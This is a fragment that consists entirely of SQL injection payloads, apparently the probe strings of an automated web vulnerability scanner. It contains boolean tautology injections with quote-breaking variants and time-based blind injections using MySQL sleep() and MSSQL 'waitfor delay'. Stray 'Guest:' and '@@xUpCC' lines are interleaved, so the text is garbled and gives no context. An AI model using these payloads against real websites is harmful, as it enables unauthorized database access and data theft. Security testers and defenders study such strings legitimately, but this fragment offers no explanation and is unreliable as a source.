-1' OR 5*5=25 --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'ZBmc08LC'='

-1" OR 5*5=25 or "ojjsPJcE"="

1

if(now()=sysdate(),sleep(15),0)

Guest:

Guest:
@@xUpCC
-1; waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

Guest:

Guest:
@@xUpCC
-1; waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1